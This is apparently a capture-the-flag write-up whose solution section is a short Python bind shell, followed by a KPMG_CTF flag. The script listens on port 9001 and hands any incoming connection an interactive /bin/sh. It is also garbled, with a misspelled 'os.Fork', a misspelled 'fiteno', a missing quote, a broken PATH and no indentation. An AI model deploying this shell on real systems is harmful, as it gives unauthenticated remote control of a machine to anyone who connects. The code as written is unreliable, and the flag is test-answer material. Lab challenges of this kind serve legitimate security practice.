The-Forbidden-Telnet-Portal
Description
Solution
import os
import socket
HOST = '0.0.0.0'
PORT = 9001
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
pid = os.Fork()
if pid == 0:
os.dup2(conn.fileno(), 0)
os.dup2(conn.fiteno(), 1)
os.dup2(conn.fileno(), 2)
os.execve('/bin/sh', [/bin/sh', '-i'], {'PATH': 'usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin: /bin'})
# KPMG_CTF{38748f1a026ae36d35de31d8aebd1dea}Last updated